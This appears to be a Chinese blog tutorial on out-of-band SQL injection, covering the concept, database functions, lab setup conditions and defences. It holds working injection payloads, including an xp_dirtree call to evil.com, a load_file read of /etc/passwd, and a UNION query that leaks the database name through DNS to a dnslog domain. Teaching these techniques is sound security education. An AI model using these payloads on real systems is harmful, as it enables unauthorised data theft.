SQL带外注入

ops/2025/2/8 21:33:45/

SQL 带外注入(Out-of-Band SQL Injection, OOB SQLi) 是 SQL 注入的一种特殊类型,主要用于以下情况:

  • 数据库没有直接返回错误信息(比如被防火墙拦截了)。
  • 无法使用常规注入手法(如 UNION、错误信息等)。
  • 需要数据库主动把数据发给攻击者(比如通过 DNS 或 HTTP 请求)。

简单类比

想象你在一个图书馆(数据库)里找书,但管理员(安全机制)不允许你直接看书的目录(查询结果)。

  • 正常方式:你直接问管理员“有没有《SQL 高手》?”(普通 SQL 查询)。
  • 传统注入:你偷偷加一句“把所有书的名字都告诉我”(常规 SQL 注入)。
  • 带外注入:你留下一个邮箱(类似 DNS 或 HTTP 服务器),让管理员悄悄把书单发到那里。

如何实现 OOB SQL 注入?

OOB SQLi 主要利用数据库支持的外部通信功能,比如:

MSSQL → xp_dirtree、OPENROWSET 可向远程服务器发送请求
MySQL → LOAD_FILE()、OUTFILE 可读写文件
Oracle → UTL_HTTP、DBMS_LDAP 可向外部服务器发送请求
示例(MSSQL 发送 DNS 请求):

sql">; EXEC master.dbo.xp_dirtree '\\evil.com\share'

攻击者搭建 evil.com 服务器,收到请求后,就能确认 SQL 代码被执行了。

如何防范 OOB SQLi?

使用预编译语句(Prepared Statements),避免 SQL 直接拼接用户输入。
限制数据库访问外部网络,防止数据泄露到攻击者控制的服务器。
开启 Web 应用防火墙(WAF),监测和拦截异常 SQL 请求。
简单来说,OOB SQL 注入就是一种数据库偷偷向攻击者汇报信息的手法,如果不加以防范,攻击者可能绕过安全限制,获取敏感数据。

靶场实现带外注入的条件

条件一:

my.ini中secure_file_priv必须为空

  • my.ini 是 MySQL 数据库的配置文件,用来控制 MySQL 的各种行为,比如端口号、数据存储位置、权限设置等。
  • secure_file_priv 是 MySQL 里的一个安全机制,用来限制数据库读写外部文件的能力,防止恶意 SQL 代码滥用 LOAD DATA 和 SELECT INTO OUTFILE 等语句。
show variables like "secure_file_priv"    //在数据库中展示配置文件中相关参数的值secure_file_priv =			//对文件的导入导出无限制
secure_file_priv = null		//不允许文件导入导出
secure_file_priv = /tmp		//指定文件导入导出限制在/tmp目录下load_file("/etc/passwd")	//导入
select 1,2,3 into outfile "/tmp/1.txt"	//导出

条件二:

windows环境
UNC路径:windows共享资源的访问方式
\172.23.100.100\abc\

带外,从dnslog看数据
触发dns请求
构造一种域名使得目标发起对域名的解析
通过load_file构造一个远程资源请求
\xxx.xxx.com\1.txt
xxxxxx.vybunimo.com
load_file(concat(‘\\’,‘database()’,‘.vybunimo.com\abc’))

select x,x,x from xxxx where id = ‘1’ union select 1,2, load_file(concat(‘\\’,‘database()’,‘.vybunimo.com\abc’)) #


http://www.ppmy.cn/ops/156809.html

相关文章

git:恢复纯版本库

初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github:codetoys,所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的,可以在任何平台上使用。 源码指引:github源…

Linux:基础IO(二.缓冲区、模拟一下缓冲区、详细讲解文件系统)

目录 1. 缓冲区 1.1 概念 1.2 作用与意义 2. 语言级别的缓冲区 2.1 刷新策略 2.2 具体在哪里 2.3 支持格式化 3. 自己来模拟一下缓冲区 3.1 项目文件规划 3.2 mystandard.h 3.3 mystandard.c 3.4 main.c 4.文件系统 4.1磁盘机械结构 4.2磁盘的物理存储 4.3磁盘的…

分享2款 .NET 开源且强大的翻译工具

前言 对于程序员而言永远都无法逃避和英文打交道,今天大姚给大家分享2款 .NET 开源、功能强大的翻译工具,希望可以帮助到有需要的同学。 STranslate STranslate是一款由WPF开源的、免费的(MIT License)、即开即用、即用即走的翻…

【自动化测试】使用Python selenium类库模拟手人工操作网页

使用Python selenium类库模拟手人工操作网页 背景准备工作安装Python版本安装selenium类库下载selenium驱动配置本地环境变量 自动化脚本输出页面表单自动化填充相关代码 背景 待操作网页必须使用IE浏览器登录访问用户本地只有edge浏览器,通过edge浏览器IE模式访问…

【spring】参数校验Validation

前言 在实际开发中,我们无法保证客户端传来的请求都是合法的。比如一些要求必传的参数没有传递,传来的参数长度不符合要求等,这种时候如果放任不管,继续执行后续业务逻辑,很有可能就会出现意想不到的bug。 有人可能会…

物联网领域的MQTT协议,优势和应用场景

MQTT(Message Queuing Telemetry Transport)作为轻量级发布/订阅协议,凭借其低带宽消耗、低功耗与高扩展性,已成为物联网通信的事实标准。其核心优势包括:基于TCP/IP的异步通信机制、支持QoS(服务质量&…

Deepseek部署到本地个人电脑,有哪些建议方案?电脑配置怎么选?

将DeepSeek(假设为大型AI模型或深度学习框架)部署到本地个人电脑时,需综合考虑硬件性能、部署方式及优化策略。以下是分步建议: 一、部署方案建议 1. 明确模型规模 若为中小模型(如7B参数以下)&#xff1…

解锁 DeepSeek 模型高效部署密码:蓝耘平台全解析

💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也…